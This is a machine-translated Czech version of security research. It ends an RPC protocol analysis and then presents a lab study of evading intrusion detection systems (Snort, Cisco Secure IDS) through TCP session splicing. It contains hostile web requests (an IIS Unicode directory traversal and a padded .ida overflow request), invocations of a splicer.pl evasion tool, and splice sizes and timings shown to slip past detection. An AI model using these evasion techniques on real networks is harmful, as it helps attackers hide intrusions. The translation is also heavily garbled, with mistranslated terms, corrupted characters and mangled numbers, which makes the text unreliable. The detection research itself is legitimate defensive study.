"jako v zrcadle, a temně "
Jen některé nezodpovězené otázky a další související myšlenky:

Tam je hodně práce ještě třeba provést analýzu protokolu RPC, a pochybuji, IVeškeré mají šanci dostat se k ní v dohledné době. Například, zatímco my víme, že počáteční setupy volání RPC musí běžet i když portmap / rpcbind, my Donát vědět, zda následné rozhovory, které vyplývají po předání RPC služby, jako je mountd a podobně mohou být obcházeny, DoSâed atd Šance jsou dobré, že thereâs pravděpodobně víc než pár bogey čekají na objevení tam dole.
Jsou tam opravdu platné stavy, ve kterých lze Poslední Fragment nastaven na hodnotu no a přenosu datových užitečný náklad? My havenât zjištěno jakékoliv dosud, ale to neznamená, že doesnât arenât tam být. V případě volání RPC přes portmap / rpcbind, zdá se mi, že fragmentace by měly být řešeny prostřednictvím IP - I Donát vidět okamžitý důvod pro umožnění fragmentaci uvnitř samotného RPC. kódování Null-byte je reálná špatná věc, samozřejmě. Pokud UDP RPC doesnât potřebují podporu fragmentace, proč je v protokolu TCP RPC?
Může dojít k daňovým únikům každý protokol? Thatâs kde IAM jít dál. Pokud existují neúmyslné důsledky v RPC, můžete se vsadit thereâll být some fun překvapí i jinde.
Může pojem "Protokolu jako NIDS" trvat déle než RPC? IAD rádi, že ano, protože to dává schopnost detekce průniků do základních prvků sítě samotné ... a to může být jedině v reálném dobrá věc.

Dodatek A: Citace zdrojů / Seznam referencí

1. Robert Graham
SideStep: IDS únikům nástroj
února 2001
http://www.robertgraham.com/tmp/sidestep.html

2. RFC 1057
RPC: Remote Procedure Call Specifikace protokolu Verze 2
červen 1988 Společnost Sun Microsystems, Inc.
http://www.rfc-editor.org/rfc/rfc1057.txt

3. RFC 1831
RPC: Remote Procedure Call Protocol Version 2 Specifikace
R. Srinivasan srpna 1995 Společnost Sun Microsystems, Inc.
http://www.rfc-editor.org/rfc/rfc1831.txt

4. RFC 1832
XDR: externí datová reprezentace Standardní
R. Srinivasan srpna 1995 Společnost Sun Microsystems, Inc.
http://www.rfc-editor.org/rfc/rfc1832.txt

5. RFC 1833
Závazné Protokoly pro ONC RPC verze 2
R. Srinivasan srpna 1995 společnosti Sun Microsystems, Inc.
http://www.rfc-editor.org/rfc/rfc1833.txt

6. RFC 2203
RPCSEC_GSS Specifikace protokolu
M. Eisler, A. Chiu, L. Ling září 1997
http://www.rfc-editor.org/rfc/rfc2203.txt

7. Power Programování s RPC
John Bloomer
OâReilly & Associates, 1. vydání z února 1992,
ISBN: 0-937175-77-3

8. OpenBSD zdrojového kódu
různých distribučních Revize
http://www.openbsd.org

9. FreeBSD zdrojového kódu
různých distribučních revize
projektu FreeBSD
http://www.freebsd.org

Jak se útočník obejít systémy detekce narušení s Session Spojování?

IDS prodejci dělali obrovské zisky v porážet IDS únikové metody v posledních dvou letech, zejména pokud se týká řetězec odpovídající a řetězec mlžení. Únikům techniky, které jsou založené na síti není tak snadné pro IDS na obranu proti mlžení jako řetězec techniky. Tyto úniky techniky síťové úrovni byly nejprve přinesena do popředí v roce 1998 na památku výzkumné zprávě "Insertion, úniky a Denial of Service: unikal Network Intrusion Detection" Thomas Ptáček a Timothy Newsham [1]. Detaily papír specifické problémy síťové úrovni specificky s fragmentací a zasedání re-montáž. Nedávno nástroje, jako je Whisker od RainForestPuppy [2] a Nessus [3] zranitelnost skener zavedly relace sestřih technik. Mnoho technik ohraničené Ptáček a Newsham jsou společné jak pro fragmentaci a spojování relace. Sestřih relace, protože se jedná o relaci je užitečná pouze tehdy, když užitečného zatížení mohou být dodávány do více paketů, kde mohou být použity fragmentace se všechny protokoly. Tento článek se zaměří na IDS únikům pomocí sestřihu relace časové limity a v menší pravidlo stupeň varování a prvními problémy výstupních že sestřih relace může vytvořit.

Základním předpokladem za sestřihem relaci je doručit náklad přes více paketů tak poražených jednoduchý vzor ve stejném designu bez rekonstrukce relace. Toto užitečné zatížení mohou být dodány v mnoha různými způsoby, a to i rozprostřeny po dlouhou dobu. V současné době, whiskery a Nessus mají schopnosti sestřihu relace, a další nástroje existují v přírodě (viz detekovat # 1 ze sekce Detekuje). Vytvořil jsem skript v Perlu, splicer.pl , že budu používat demonstrovat mnoho z těchto technik. Ochranná známka z sestříhané relace je nepřetržitý proud malých paketů. Síť trasování níže ukazuje standardní sestříhané relace. Pro čitelnost, tento požadavek byl zkrácen odstraněním bajtů devět thru 31.

Trademark Session Splice

17: 06: 22,252252 64.194.107.85.32787> WXY106.80: S 848344882: 848344882 (0) 5840 vyhrál <MSS 1460, sackOK, timestamp 3152623 [| tcp]> (DF) (ttl 64, číslo 44509, len 60)

17: 06: 22,292252 WXY106.80> 64.194.107.85.32787: S 268545229: 268545229 (0) ack 848344883 vyhrát 5792 <MSS 1460, sackOK, timestamp 17985824 [| tcp]> (DF) (ttl 53, id 0, len 60)

17: 06: 22,292252 64.194.107.85.32787> WXY106.80:. [Tcp součet ok] ack 1 vyhraje 5840 <nop, nop, timestamp 3.152.627 17.985.824> (DF) (ttl 64, číslo 44510, len 52)

17: 06: 22,292252 64.194.107.85.32787> WXY106.80: P [tcp součet ok] 1: 2 (1) ack 1 vyhraje 5840 <nop, nop, timestamp 3.152.627 17.985.824> (DF) (ttl 64, číslo 44511, len 53)

17: 06: 22,342252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 2 vyhraje 5792 <nop, nop, timestamp 17985829 3.152.627> (DF) (ttl 53, číslo 56810, len 52)

17: 06: 22,492252 64.194.107.85.32787> WXY106.80: P [tcp součet ok] 2: 3 (1) ack 1 vyhraje 5840 <nop, nop, timestamp 3.152.647 17.985.829> (DF) (ttl 64, číslo 44512, len 53)

17: 06: 22,532252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 3 vítězství 5792 <nop, nop, timestamp 17985848 3.152.647> (DF) (ttl 53, číslo 56811, len 52)

17: 06: 22,692252 64.194.107.85.32787> WXY106.80: P [tcp součet ok] 3: 4 (1) ack 1 vyhraje 5840 <nop, nop, timestamp 3.152.667 17.985.848> (DF) (ttl 64, id 445F13, len 53)

17: 06: 22,732252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 4 vyhrát 5792 <nop, nop, timestamp 17985868 3.152.667> (DF) (ttl 53, číslo 56812, len 52)

17: 06: 22,892252 64.194.107.85.32787> WXY106.80: P [tcp součet ok] 4: 5 (1) ack 1 vyhraje 5840 <nop, nop, timestamp 3.152.687 17.985.868> (DF) (ttl 64, číslo 44514, len 53)

17: 06: 22,932252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 5 vyhrát 5792 <nop, nop, timestamp 17985888 3.152.687> (DF) (ttl 53, číslo 56813, len 52)

17: 06: 23,092252 64.194.107.85.32787> WXY106.80: P [tcp součet ok] 5: 6 (1) ack 1 vyhraje 5840 <nop, nop, timestamp 3.152.707 17.985.888> (DF) (ttl 64, číslo 44515, len 53)

17: 06: 23,122252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 6 vyhrát 5792 <nop, nop, timestamp 17985908 3.152.707> (DF) (ttl 53, číslo 56814, len 52)

17: 06: 23,292252 64.194.107.85.32787> WXY106.80: P [tcp součet ok] 6: 7 (1) ack 1 vyhraje 5840 <nop, nop, timestamp 3.152.727 17.985.908> (DF) (ttl 64, číslo 44516, len 53)

17: 06: 23,332252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 7 vyhrát 5792 <nop, nop, timestamp 17985928 3.152.727> (DF) (ttl 53, číslo 56815, len 52)

17: 06: 23,492252 64.194.107.85.32787> WXY106.80: P [tcp součet ok] 7: 8 (1) ack 1 vyhraje 5840 <nop, nop, timestamp 3.152.747 17.985.928> (DF) (ttl 64, číslo 44517, len 53)

17: 06: 23,532252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 8 vyhrát 5792 <nop, nop, timestamp 17985948 3.152.747> (DF) (ttl 53, číslo 56816, len 52)

17: 06: 28,292252 64.194.107.85.32787> WXY106.80: P [tcp součet ok] 31:32 (1) ack 1 vyhraje 5840 <nop, nop, timestamp 3.153.227 17.986.408> (DF) (ttl 64, číslo 44541, len 53)

17: 06: 28,322252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 32 vítězství 5792 <nop, nop, timestamp 17986428 3.153.227> (DF) (ttl 53, číslo 56840, len 52)

17: 06: 28,492252 64.194.107.85.32787> WXY106.80: P [tcp součet ok] 32:33 (1) ack 1 vyhraje 5840 <nop, nop, timestamp 3.153.247 17.986.428> (DF) (ttl 64, číslo 44542, len 53)

17: 06: 28,532252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 33 vítězství 5792 <nop, nop, timestamp 17986448 3.153.247> (DF) (ttl 53, číslo 56841, len 52)

17: 06: 28,692252 64.194.107.85.32787> WXY106.80: P 33:83 (50) ack 1 vyhraje 5840 <nop, nop, timestamp 3.153.267 17.986.448> (DF) (ttl 64, číslo 44543, len 102)

17: 06: 28,732252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 83 vítězství 5792 <nop, nop, timestamp 17986468 3.153.267> (DF) (ttl 53, číslo 56842, len 52)

17: 06: 28,732252 WXY106.80> 64.194.107.85.32787: F [tcp součet ok] 566: 566 (0) ack 83 vyhrát 5792 <nop, nop, timestamp 17986468 3.153.267> (DF) (ttl 53, číslo 56844, len 52)

17: 06: 28,732252 64.194.107.85.32787> WXY106.80:. ack 1 vyhraje 5840 <nop, nop, timestamp 3153271 17986468, nop, nop, [| tcp]> (DF) (ttl 64, číslo 44544, len 64)

17: 06: 28,742252 WXY106.80> 64.194.107.85.32787: P 1: 566 (565) ack 83 vyhrát 5792 <nop, nop, timestamp 17986468 3.153.267> (DF) (ttl 53, číslo 56843, len 617)

17: 06: 28,742252 64.194.107.85.32787> WXY106.80:. [Tcp součet ok] ack 567 vyhrát 6780 <nop, nop, timestamp 3.153.272 17.986.468> (DF) (ttl 64, číslo 44545, len 52)

17: 06: 28,742252 64.194.107.85.32787> WXY106.80: F [tcp součet ok] 83:83 (0) ack 567 vyhrát 6780 <nop, nop, timestamp 3.153.272 17.986.468> (DF) (ttl 64, číslo 44546, len 52)

17: 06: 28,792252 WXY106.80> 64.194.107.85.32787:. [Tcp součet ok] ack 84 vítězství 5792 <nop, nop, timestamp 17986474 3.153.272> (DF) (ttl 53, číslo 56845, len 52)

Zpočátku se to může zdát snadné se bránit proti pouhým kontrole abnormálně malých paketů. Nicméně, toto není ten případ, protože tyto jsou pakety s nastaveným příznakem ACK a pakety se souborem ACK vlajky jsou obvykle velmi malé, a neobsahují žádné užitečné zatížení. Tím se detekce při normálním provozu obtížnější.

Pro testování a srovnání, laboratoř byla postavena, který obsahuje tři hostitelé na stejné vysílací domény. Počáteční nastavení laboratoře byl takto pomocí Snort, Cisco Secure IDS a webový server Windows 2000 běží Entercept 2,01 Host IDS agenta.

Úplný popis formátu a podpisů užívaných v těchto příkladech Cisco IDS protokolu lze nalézt v příloze B. Je třeba poznamenat, že všechny žádosti vrácena stránku nějakého druhu z webového serveru.

Lab Setup

hostitel Typ	IP	Verze	Funkce
Cisco Secure IDS	WXY123	3.1 Beta	IDS pouze
Snort Sensor	WXY122	Snort 1.8.6 / RH 7.2	IDS / Apache Web Server
Windows Host IDS	WXY124	W2K Server / Entercept 2,01	IIS Web Server HIDS Agent

Několik různých požadavky byly vyslány pomocí nástroje splicer.pl. Tabulky zobrazují požadavek, který je webového požadavku, velikost v bajtech pro sestřih a načasování během několika sekund s tím spojené dříví z přístrojů. Tyto útoky byly odeslány z IP 64.194.107.85. Poznámka: organizace specifické informace byly X v protokolech Cisco IDS.

Odhalování sestřih Session provázkem Matching IDS je velmi náročné. Že není možné vytvořit podpisy, které vypadají jen pro malé pakety s příznakem ACK nastavena, protože k tomu dojde hojně v normálním provozu. Podpisy musí vypadat dělat nějaké srovnání užitečného zatížení. Snort má několik podpisů pro detekci nástrojových spojů Whisker relace.

Snort Session Sestřih Podpis 1

alert tcp $ EXTERNAL_NET jakýkoliv -> $ HTTP_SERVERS 80 (msg: "WEB-MISC chlup sestřihu útok", obsah: "| 20 |"; flags: A +; dsize: 1; referenční: pavouků, 296; classtype: Pokusili-Recon; SID: 1104; rev: 1;)

Snort Session Sestřih Podpis 2

alert tcp $ EXTERNAL_NET jakýkoliv -> $ HTTP_SERVERS 80 (msg: "WEB-MISC chlup sestřihu útok"; dsize: <5, flags: A +; obsah: "| 09 |"; referenční: pavoukovci, 415; classtype: pokus o-Recon ; sid: 1087; rev: 1;)

První podpis hledá 0x20 (mezerou) v prvních 2 bajtů paketu s ACK příznaky sady a směřuje k definované proměnné $ HTTP_SERVERS. Druhý podpis hledá 0x09 (karta) v průběhu prvních šesti bajtů paketu s ACK příznaky sady směřovat k definované proměnné $ HTTP_SERVERS. Tyto podpisy chytit výchozí Whisker sestřihu použití relace využití pokutu. Nicméně, tato pravidla mohou být vyhnul sesazováním relace jinak. Splicer.pl nástroj umožňuje různé hodnoty, které mají být specifikovány na velikosti užitečného zatížení, které mají být dodány. Je třeba zdůraznit, že splicer.pl je napsán pro HTTP, ale základní předpoklad sestřihu relace zasahuje do všech protokolů TCP.

Příklad 1: Non Škodlivý sestříhané žádost

Žádost	Splice Size (bytes)	Timing (v sekundách)
Get /index.html HTTP / 1.0 \ r \ n	1	0,20
Cisco IDS Záznamy
Žádné nejsou k dispozici
Snort Záznamy
04 / 09-22: 07: 34,680000 [] [1: 1104: 1] WEB-MISC chlup sestřihu útok [] [Klasifikace: Pokus Informace Leak] [Priorita: 2] {TCP} 64.194.107.85:33185 -> WXY124: 80 04 / 09-22: 07: 36,480000 [] [1: 1104: 1] WEB-MISC chlup sestřihu útok [] [Klasifikace: Pokus Informace Leak] [Priorita: 2] {TCP} 64.194.107.85:33185 -> WXY124: 80 04 / 09-22: 07: 36,560000 [] [1: 0: 0] Session Splice WEB [] [Klasifikace: Potenciálně Bad Traffic] [Priorita: 2] {TCP} 64.194.107.85:33185 -> WXY124 : 80 04 / 09-22: 07: 37,370000 [] [1: 0: 0] Session Splice WEB [] [Klasifikace: Potenciálně Bad Traffic] [Priorita: 2] {TCP} 64.194.107.85:33185 -> WXY124 : 80

Co můžeme zjistit z původního testu je, že Cisco IDS nemá výchozí šek na spojování relace generické Whisker styl (1 bajt) v případě, že se nejedná o nebezpečný náklad spojený s požadavkem. Snort generovány čtyři výstrahy spojené s dvěma podpisy, z nichž jedna je spojena s Whisker a jedním podpisem, který je vlastní generické sestřih podpis, který jsem vyvinul, který bude podrobně později.

Aby se zabránilo standardní chlup podpisy útočník může zvětšit velikost sestříhané paketů, jak je ukázáno níže.

Sestřih Session s většími náklad

23: 56: 36,991823 64.194.107.85.33244> WXY124.80: S 3136238607: 3136238607 (0) 5840 vyhrál <MSS 1460, sackOK, timestamp 15635196 [| tcp]> (DF)

23: 56: 37,091823 WXY124.80> 64.194.107.85.33244: S 1360132749: 1360132749 (0) ack 3136238608 vyhrát 17520 <MSS 1460, nop, wscale 0, nop, nop, timestamp [| tcp]> (DF)

23: 56: 37,091823 64.194.107.85.33244> WXY124.80:. ack 1 vyhraje 5840 <nop, nop, timestamp 15635206 0> (DF)

23: 56: 37,091823 64.194.107.85.33244> WXY124.80: P 1: 3 (2) ack 1 vyhraje 5840 <nop, nop, timestamp 15635206 0> (DF)

23: 56: 37,301823 WXY124.80> 64.194.107.85.33244:. ack 3 vyhraje 17518 <nop, nop, timestamp 3.198.390 15.635.206> (DF)

23: 56: 38,091823 64.194.107.85.33244> WXY124.80: P 3: 5 (2) ack 1 vyhraje 5840 <nop, nop, timestamp 15635306 3.198.390> (DF)

23: 56: 38,311823 WXY124.80> 64.194.107.85.33244:. ack 5 vyhrát 17516 <nop, nop, timestamp 3.198.400 15.635.306> (DF)

23: 56: 39,091823 64.194.107.85.33244> WXY124.80: P 5: 7 (2) ack 1 vyhraje 5840 <nop, nop, timestamp 15635406 3.198.400> (DF)

23: 56: 39,311823 WXY124.80> 64.194.107.85.33244:. ack 7 vyhrát 17514 <nop, nop, timestamp 3.198.410 15.635.406> (DF)

23: 56: 40,091823 64.194.107.85.33244> WXY124.80: P 7: 9 (2) ack 1 vyhraje 5840 <nop, nop, timestamp 15635506 3.198.410> (DF)

Příklad 2: Sestřih s většími spojkami

Žádost	Splice Size (bytes)	Timing (v sekundách)
/index.html	2	1
Cisco IDS Záznamy
Žádné nejsou k dispozici
Snort Záznamy
04 / 10-00: 52: 06,690000 [] [1: 0: 0] Session Splice WEB [] [Klasifikace: Potenciálně Bad Traffic] [Priorita: 2] {TCP} 64.194.107.85:33243 -> WXY124 : 80 04 / 10-00: 52: 09,680000 [] [1: 0: 0] Session Splice WEB [] [Klasifikace: Potenciálně Bad Traffic] [Priorita: 2] {TCP} 64.194.107.85:33243 -> WXY124 : 80

To úspěšně porazí úniků podpisy funí Whisker bázi. Zapsat podpis detekovat tuto techniku daňových úniků, je nutné, aby IDS hledají menší pakety s nastaveným ACK vlajky a nějaký obsah. Musí existovat nějaký obsah sdružený s paketem jinak podpis se spustí na všech souvisejících ACK. V níže uvedené pravidlo generické sestřih bude fungovat.

Pravidlo Generic Session Sestřih

alert tcp $ EXTERNAL_NET jakýkoliv -> $ HTTP_SERVERS 80 (msg: "Generic Session Splice Attack"; uricontent: "H"; flags: A +; dsize: <16; classtype: bad-neznámá;)

Tento konkrétní podpis detekuje URI s obsahem "H" a dsize menší než 17 bajtů. To by mělo zachytit jakýkoliv požadavek na webu, která nejsou ve shodě s "$ ZPŮSOB / HTTP / 1.0 \ r \ n \", kde $ metoda je rovnocenná jakékoliv metody HTTP. "H" byl zvolen proto, že je nutné v HTTP požadavku. To je ještě docela snadné obejít tím, výplň URI s vlastním označováním "./"directories pomocí tabulátoru oddělovače (Apache) nebo mezeru (IIS a Apache) a hodnoty Null (IIS). Tento příklad bude používat přetečení URL Ida, protože nevyžaduje zvláštní URL pro útok být úspěšný. Podpis Snort pro přepad Ida je následující

Snort Ida přetečení podpis

alert tcp $ EXTERNAL_NET jakýkoliv -> $ HTTP_SERVERS 80 (msg: "WEB-IIS ISAPI .ida pokus"; uricontent: ".? Ida"; NOCASE; dsize:> 239; flags: A +; referenční: pavouků, 552; classtype: web-application-útok; reference: CVE CAN-2000-0071; SID: 1243; rev: 2;)

Tento podpis vyhledá obsahu URI Ida? s velikostí 240 bajtů. Existuje několik metod, které mohou vyhnout toto. Jednou z metod je spojovat užitečné zatížení do požadavků, které jsou větší, jako je například 18 bajtů, a tím tak obešla zápas řetězec. Nyní tento podpis by mohl být re-written hledat pouze Ida? a nevyžaduje délku 240 bytů. Tento podpis se pak spustí na normální provoz a vytvářet falešné poplachy. Vzhledem k tomu, tento útok nevyžaduje zvláštní URI je třeba požádat, mohl by útočník přední načíst požadavek s falešnými údaji vytvořit delší URI. Aby to fungovalo, musíme spočítat počet znaků potřebných k mít AHA spadnout do 18 byte řezu. Potřebovali jsme čtyři bajty v přední části naší žádosti, aby žádost končí pohledu, jako na žádost.

Žádost o Příklad 3:

./splicer.pl -h WXY124 -r "/NNNN.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xx" -t 1 -s 18

Příklad 3: Použití polstrování vyhnout podpisů relace

Žádost	Splice Size (bytes)	Timing (v sekundách)
Výše uvedený příklad 3	1	18
Cisco IDS Záznamy
4,1001256,2002 / 04 / 11,01: 17: 49,2002 / 04 / 10,20: 17: 49,10008,100,101, OUT, IN, 5,5126, 0, TCP / IP, 64.194.107.85, WXY124,32768,80,0.0.0.0,
Snort Záznamy
04 / 10-20: 17: 46,150000 [] [1: 1242: 2] WEB-IIS ISAPI .ida přístup [] [Klasifikace: přístup k potentually zranitelné webové aplikace] [Priorita: 2] {TCP} 64.194.107.85:32768 -> WXY124: 80

Všimněte si, že Cisco Secure IDS úspěšně zjistí skutečný útok s podpisem, který zachycuje skutečnou hrozbu. Snort detekuje Ida přístup, ale nespouští signaturu útoku, který by měl. I přesto, že Snort upozorní Tato výstraha se objeví menší hrozbou než ve skutečnosti je.

Relace zpětná montáž potřeba
sestřih Session podpisy pro řetězec odpovídající IDS zařízení jsou prokazatelně nedostatečné. Relace musí být znovu sestaveny před srovnáním jinak selžou.

Několik různých útoků byly odeslány na hostitele oběti pro účely testování.

V těchto příkladech škodlivý požadavek Unicode byla odeslána na hostitele obětí. Tento podpis byl vybrán, protože ITAS téměř shodné pro Cisco a Snortu. Cisco detekuje tři podpisy 3215, 5114 a 3216. To vše jsou spojeny s obecným aktivitou Unicode. Podpis 5114 detekuje znaky Unicode, zatímco podpisů 3215 a 3216 detekovat â /../ zahájení činnosti. Použití 1 spojů relace byte, Snort pouze zjištěna výše zmíněné sestřihu relace podpisy. To je příklad Snortâs využití prvních pravidel výstupu.

Příklad 4: Škodlivý sestříhané žádost

Žádost	Splice Size (bytes)	Timing (v sekundách)
GET /scripts/..%c0%af../ HTTP / 1.0 \ r \ n	1	0,20
Cisco IDS Záznamy
4,1008202,2002 / 04 / 10,03: 57: 55,2002 / 04 / 09,22: 57: 55,10008,100,101, OUT, IN, 1,3000,80, TCP / IP, 64.194.107.85, WXY124,33194,80,0.0.0.0,5634510 4,1008203,2002 / 04 / 10,03: 58: 02,2002 / 04 / 09,22: 58: 02,10008,100,101, OUT, IN, 4,3215,0, TCP / IP, 64.194.107.85, WXY124,33194,80,0.0.0.0, URL s /..,474554202F736372697074732F2E2EZZ 4,1008204,2002 / 04 / 10,03: 58: 06,2002 / 04 / 09,22: 58: 06,10008,100,101, OUT, IN, 4,5114,1, TCP / IP, 64.194.107.85, WXY124,33194,80,0.0.0.0, ..% c0% af .. * HTTP, 474554202F736372697074732F2E2E2563302561662E2EZZ 4,1008205,2002 / 04 / 10,03: 58: 06,2002 / 04 / 09,22: 58: 06,10008,100,101, OUT, IN, 5,3216,0, TCP / IP, 64.194.107.85, WXY124,33194,80,0.0.0.0, .. / .., 474554202F736372697074732F 2E2E2563302561662E2EZZ
Snort Záznamy
04 / 09-22: 57: 56,090000 [] [1: 1104: 1] WEB-MISC chlup sestřihu útok [] [Klasifikace: Pokus Informace Leak] [Priorita: 2] {TCP} 64.194.107.85:33194 -> WXY124: 80 04 / 09-22: 58: 06,590000 [] [1: 1104: 1] WEB-MISC chlup sestřihu útok [] [Klasifikace: Pokus Informace Leak] [Priorita: 2] {TCP} 64.194.107.85:33194 -> WXY124: 80 04 / 09-22: 58: 07,090000 [] [1: 0: 0] Session Splice WEB [] [Klasifikace: Potenciálně Bad Traffic] [Priorita: 2] {TCP} 64.194.107.85:33194 -> WXY124 : 80

Použití větších plátky, můžeme vyhnout podpisy sestřihu ale zvedl Snortâs normálních podpisy. Cisco upozorní na skutečném útoku.

Příklad 5: Session Sestřih použitím větších spojek

Žádost	splice Velikost	Načasování
GET /scripts/..%c0%af../ HTTP / 1.0 \ r \ n	11	0,5
Cisco IDS Záznamy
4,1001332,2002 / 04 / 11,02: 12: 37,2002 / 04 / 10,21: 12: 37,10008,100,101, OUT, IN, 4,3215,0, TCP / IP, 64.194.107.85, WXY124,32783,80,0.0.0.0, URL s /..,474554202F73 6372697074732F2E2E2563302561662EZZ 4,1001333,2002 / 04 / 11,02: 12: 37,2002 / 04 / 10,21: 12: 37,10008,100,101, OUT, IN, 4,5114,1, TCP / IP, 64.194.107.85, WXY124,32783,80,0.0.0.0, ..% c0% af .. * HTTP, 4745542 02F736372697074732F2E2E2563302561662E2E2F20485454502F312E30ZZ 4,1001334,2002 / 04 / 11,02: 12: 37,2002 / 04 / 10,21: 12: 37,10008,100,101, OUT, IN, 5,3216,0, TCP / IP, 64.194.107.85, WXY124,32783,80,0.0.0.0, .. / .., 474554202F736372697074732 F2E2E2563302561662E2E2F20485454502F312E30ZZ
Snort Záznamy
04 / 10-21: 12: 38,140000 [] [1: 1113: 1] WEB-MISC http directory traversal [] [Klasifikace: Pokus Informace Leak] [Priorita: 2] {TCP} 64.194.107.85:32783 -> WXY124: 80 04 / 10-21: 12: 38,640000 [] [1: 0: 0] Abnormální WEB Požadavek [] [Klasifikace: Potenciálně Bad Traffic] [Priorita: 2] {TCP} 64.194.107.85:32783 -> WXY124 : 80 04 / 10-21: 12: 39,360000 [] [1: 1287: 2] WEB-IIS skripty přístup [] [Klasifikace: přístup k potentually zranitelné webové aplikace] [Priorita: 2] {TCP} 64,194. 107,85: 32783 -> WXY124: 8

Další pokus obě zařízení IDS výstrahy v pořádku. Tento útok využívá dvou bajtů spoje a nepatrně zpožděného sekvence jednu sekundu. Myslím, že někteří předpoklady mohou být nyní provedeny. Oba Snort a Cisco mají některé relace re-montážní schopnosti. Snort, nicméně upozorní jinak průběhu téhož záchvatu v závislosti na použitých technik. To má co do činění s tím, jak Snort určuje, které pravidlo, že upozorní na.

Příklad 6: Menší čas Splice zpožděním polstrovaná HTTP

Žádost	splice Velikost	Načasování
GET /scripts/..%c0%af../ HTTP / 1.0 \ r \ n	2	1
Cisco IDS Záznamy
4,1008380,2002 / 04 / 10,04: 37: 42,2002 / 04 / 09,23: 37: 42,10008,100,101, OUT, IN, 4,3215,0, TCP / IP, 64.194.107.85, WXY124,33234,80,0.0.0.0, URL s /..,474554202F736372697074732F2E2E25ZZ 4,1008381,2002 / 04 / 10,04: 37: 46,2002 / 04 / 09,23: 37: 46,10008,100,101, OUT, IN, 4,5114,1, TCP / IP, 64.194.107.85, WXY124,33234,80,0.0.0.0, ..% c0% af .. * HTTP, 474554202F736372697074732F2E2E2563302561662E2E2FZZ 4,1008382,2002 / 04 / 10,04: 37: 46,2002 / 04 / 09,23: 37: 46,10008,100,101, OUT, IN, 5,3216,0, TCP / IP, 64.194.107.85, WXY124,33234,80,0.0.0.0, .. / .., 474554202F736372697074732 F2E2E2563302561662E2E2FZZ
Snort Záznamy
04 / 09-23: 29: 32,280000 [] [1: 1113: 1] WEB-MISC http directory traversal [] [Klasifikace: Pokus Informace Leak] [Priorita: 2] {TCP} 64.194.107.85:33233 -> WXY124: 80 04 / 09-23: 29: 34,380000 [] [110: 4: 1] spp_unidecode: Neplatný Unicode String zjištěna [] {TCP} 64.194.107.85:33233~~HEAD=dobj -> WXY124: 80 04 / 09-23: 37: 51,590000 [] [1: 1287: 2] WEB-IIS skripty přístup [] [Klasifikace: přístup k potentually zranitelné webové aplikace] [Priorita: 2] {TCP} 64,194. 107,85: 33234 -> WXY124: 80

Další příklad HTTP část žádosti byla čalouněny, aby se zabránilo spuštění pravidlo generické sestřihu. Tyto spoje zůstávají na 2 byty. Doba mezi spojkami byla přesunuta do 20 sekund. Snort Zdá se, že časový limit některé žádosti protože tentokrát je přijat jiný střehu. Snort musí být schopen pouze znovu sestavit část útoku.

Příklad 7: Menší plátky, polstrované HTTP, delší doba

Žádost	splice Velikost	Načasování
GET /scripts/..%c0%af../ HTTP / 1.0 \ r \ n	2	20
Cisco IDS Záznamy
4,1008392,2002 / 04 / 10,04: 47: 40,2002 / 04 / 09,23: 47: 40,10008,100,101, OUT, IN, 4,3215,0, TCP / IP, 64.194.107.85, WXY124,33236,80,0.0.0.0, URL s / .., 474554202F736372697074732F2E2E25ZZ 4,1008393,2002 / 04 / 10,04: 49: 00,2002 / 04 / 09,23: 49: 00,10008,100,101, OUT, IN, 4,5114,1, TCP / IP, 64.194.107.85, WXY124,33236,80,0.0.0.0, ..% c0% af .. * HTTP, 474554202F736372697074732F2E2E2563302561662E2E2FZZ4,1008394,2002 / 04/10, 04: 49: 00,2002 / 04 / 09,23: 49: 00,10008,100,101, OUT, IN, 5,3216,0, TCP / IP, 64,194. 107. 85, WXY124,33236,80,0.0.0.0, .. / .., 474554202F736372697074732F2E2E2563302561 662E2E2FZZ
Snort Záznamy
04 / 09-23: 50: 59,380000 [] [1: 1287: 2] WEB-IIS skripty přístup [] [Klasifikace: přístup k potentually zranitelné webové aplikace] [Priorita: 2] {TCP} 64,194. 107,85: 33236 -> WXY124: 80

Ve výchozí konfiguraci Snort Zdá se, že časový limit žádosti po určité množství času. Cisco je stále vidět upozornění. Následující požadavek stále používá dva byte spojů, ale čas mezi spojů se zvýší na 45 sekund.

Příklad 8: 2 byte spoje se zpožděním 45 sekund

Žádost	splice Velikost	Načasování
GET /scripts/..%c0%af../ HTTP / 1.0 \ r \ n	2	45
Cisco IDS Záznamy
4,1008411,2002 / 04 / 10,05: 03: 34,2002 / 04 / 10,00: 03: 34,10008,100,101, OUT, IN, 4,3215, 0, TCP / IP, 64.194.107.85, WXY124,33239,80,0.0.0.0, URL s /..,4745474554202F7363726372697074732F2E2E25ZZ 4,1008414,2002 / 04 / 10,05: 06: 34,2002 / 04 / 10,00: 06: 34,10008,100,101, OUT, IN, 4,5114, 1, TCP / IP, 64.194.107.85, WXY124,33239,80,0.0.0.0, ..% c0% af .. * HTTP, 4745474554202F7363726372697074732F2E2E2563302561662E2E2FZZ 4,1008415,2002 / 04 / 10,05: 06: 34,2002 / 04 / 10,00: 06: 34,10008,100,101, OUT, IN, 5,3216, 0, TCP / IP, 64.194.107.85, WXY124,33239,80,0.0.0.0, .. / .., 4745474554202F73637263 72697074732F2E2E2563302561662E2E2FZZ
Snort Záznamy
není k dispozici

Prodloužení doby dále bude nakonec uniknout Cisco Secure IDS.

Příklad 9: 2 byte spoje zpožděna o 100 sekund

Žádost	splice Velikost	Načasování
GET /scripts/..%c0%af../ HTTP / 1.0 \ r \ n	2	100
Cisco IDS Záznamy
Žádné nejsou k dispozici
